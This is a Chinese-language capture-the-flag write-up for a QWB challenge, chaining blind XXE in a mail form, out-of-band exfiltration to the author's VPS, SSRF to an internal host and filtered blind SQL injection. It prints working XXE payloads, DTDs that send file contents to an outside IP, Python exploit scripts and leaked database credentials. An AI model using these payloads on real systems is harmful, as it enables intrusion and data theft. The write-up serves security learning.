强网杯教育机构的培训平台writeup

教育机构的培训平台

这题比赛的时候好像是0解,赛后趁着题目没关各种踩坑后后才做出来…

给了域名一打开发现未备案,那就用ip访问呗,先按照常规渗透思路来,查了下whois发现开了隐私保护,nmap扫了下端口发现还开了22和33899。总不可能是22端口爆破吧,那么访问33899端口。咋一看好像跟80端口的一样,然而在邮件页面却有不同。浏览了一会发现站点输入点不多就一个发邮件功能

测试了一下发现80端口的发邮件功能好像并没有什么卵用,于是开始主攻33899端口。。测试了xss和sql注入无果后随手打个xxe发现出现xml报错

那么很明显是个blind xxe漏洞了,但是一番测试后怎么都收不到请求,猜想像以前08067ctf那样过滤了实体引用,于是把实体引用定义在了dtd里,果然收到了请求,payload

1
2
3
4
5
6
7
8
9
10
11
xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "yourvpsip/evil.dtd">
%dtd;]>
<root/>
dtd
<!ENTITY % file SYSTEM "php://filter/read=/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://yourvpsip/?file=%file;'>">
%all;
%send;

那么我们尝试用伪协议读一下源码,发现没有价值的信息,改下dtd读一下config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
//error_reporting(E_ALL^E_NOTICE^E_WARNING);
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/52dandan.club/");
define(FLAG_SIG, 1);
define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431');
//global $error_msg;
$DBHOST = "127.0.0.1";
$DBUSER = "root";
$DBPASS = "QWB2018qwb@)!*";
//$DBPASS = "";
$DBNAME = "QWB1234";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME,3306);
if(mysqli_connect_errno()){
echo "no sql connection!!!".mysqli_connect_error();
$mysqli=null;
die();
}
?>


得到flag第一部分

1
5bdd3b0ba1fcb40

找了一圈后没找到第二部分于是开始内网渗透,首先根据提示arp -a联想到读取arp表,于是尝试读取proc/net/arp发现出错

但是并不是文件不存在报的错,于是猜想是没有权限或者文件太大无法读取,在网上搜索了一番后找到了一种用zlib压缩数据的方法

1
php://filter/read=zlib.deflate/convert.base64-encode/resource=/proc/net/arp

打了一下后成功读取到数据,然后用脚本还原一下即可出数据

1
2
3
4
5
6
7
8
9
10
<?php
$str = file_get_contents('./flag.txt');
$str = str_replace(" ","+",$str);
function decode($str){
$str = base64_decode($str);
$str = gzinflate($str);
return $str;
}
print_r(decode($str));
?>

然后尼玛给了一堆ip…

1
IP address HW type Flags HW address Mask Device 192.168.223.127 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.144 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.17 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.143 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.125 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.158 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.161 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.141 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.156 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.139 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.154 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.134 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.137 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.152 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.132 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.151 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.130 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.149 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.18 0x1 0x2 02:42:c0:a8:df:12 * eth0 192.168.223.128 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.126 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.147 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.1 0x1 0x2 02:42:91:f9:c9:d4 * eth0 192.168.223.142 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.145 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.160 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.140 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.159 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.138 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.157 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.136 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.155 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.135 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.150 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.153 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.133 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.148 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.131 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.146 0x1 0x0 00:00:00:00:00:00 * eth0 192.168.223.129 0x1 0x0 00:00:00:00:00:00 * eth0

随便访问一个发现返回没有该主机,猜测是静态写入了一堆垃圾数据,然后里面有一个应该是真正的内网地址。所以写了个脚本(这里简单介绍一下脚本的思路,因为是内网环境,脚本并不是那么好写,大致思路是在服务器上写一个脚本挂在服务器上一边动态修改dtd文件一边发包)得出
192.168.223.18是真实内网地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
url = 'http://39.107.33.75:33899/common.php'
s = requests.Session()
result = ''
data = {"name":"pupiles","email":"ssadasdasd@gmail.com",
"comment":"""<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://52.199.13.19/evil.dtd">
%dtd;]>
<root/>"""
}
with open('ip.txt', 'r') as f:
ip = f.read().split('\n')
for i in range(40):
f = open('./evil.dtd','w')
payload2 = """<!ENTITY % file SYSTEM "http://{}">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://52.199.13.19/?file=%file;'>">
%all;
%send;""".format(ip[i])
f.write(payload2)
f.close()
print payload2
r = s.post(url,data=data)
#print r.contetn
if "No route to host in" not in r.content:
print ip[i]
break

这时候发现这个ip的主页同样由于数据过大无法直接返回,这里又踩了一个坑,按理说这里是要读内网的文件应该不能用php伪协议了吧,然而尝试了各种方法无果后回到最初的方法

1
php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/

发现居然真的可以,原因是内网服务开启了url_open,但是发现index.html主页并没有flag,于是尝试爆破路径发现一个test.php,尝试读取后返回结果如下

1
I Love DanDanOnline Shop System Testing!!!Our online sales system is coming soon.Now open the test interface to internal employees!!!This time is the last testing before online!!!So this time,we test the query and search interface at once !!!!start testing~~~~your goods's name is '',your goods's price is '',your goods's quantity is '',your goods's total is '',testing finish~~~~

刚看到这里的时候我一定是脑残了才会去以为是隐写,明显的传参数TT,于是接着爆破参数,尝试了各种参数id,name,price,quantity,total无果后仔细理解了一下原文意思,大致是这个参数要包含商品的名字,价格和总价,于是猜测不是good就是shop,结果发现是shop,然后尝试注入,到这里才算是真正入坑,因为内网实在不方面测试sql盲注,而且还过滤了一堆字符,肝了好久实在肝不出来(发现好多大师傅都卡这了)。最后实在没办法去问了出题人,出题人给了我一个白名单

1
$whitelist = "`\"0123456789abcdefghijklmnopqrstuvwxyz{}()_.+-'"

过滤了,=等关键字符,还好没有过滤关键词,一番fuzz后找到一个可用的payload

1
php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0database())like%a0binary('________'))then(0)else(1)end)-'1

剩下就是写脚本盲注,flag第二部分在total字段里

1
bbf344452165c1471

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
url = 'http://39.107.33.75:33899/common.php'
s = requests.Session()
result = ''
data = {"name":"pupiles","email":"ssadasdasd@gmail.com",
"comment":"""<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://52.199.13.19/evil.dtd">
%dtd;]>
<root/>"""
}
#p1 = 'database()'
#p2 = 'select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where table_schema%a0like%a0'qwbinner''
#p3 = 'select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name%a0like%a0'albert_shop''
for i in range(0,28):
for j in range(48,123):
f = open('./evil.dtd','w')
payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary('{}'))then(0)else(1)end)-'1">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://52.199.13.19/?file=%file;'>">
%all;
%send;""".format('_'*i+chr(j)+'_'*(27-i))
f.write(payload2)
f.close()
print 'test {}'.format(chr(j))
r = s.post(url,data=data)
#print r.contetn
if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_':
result += chr(j)
print chr(j)
break
print result

注意用这个payload的时候要先猜长度

1
2
3
4
5
6
for i in range(1,30):
f = open('./evil.dtd','w')
payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name%a0like%a0'albert_shop')like%a0binary('{}'))then(0)else(1)end)-'1">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://52.199.13.19/?file=%file;'>">
%all;
%send;""".format('_'*i)

综上所诉,flag为

1
QWB{5bdd3b0ba1fcb40bbf344452165c1471}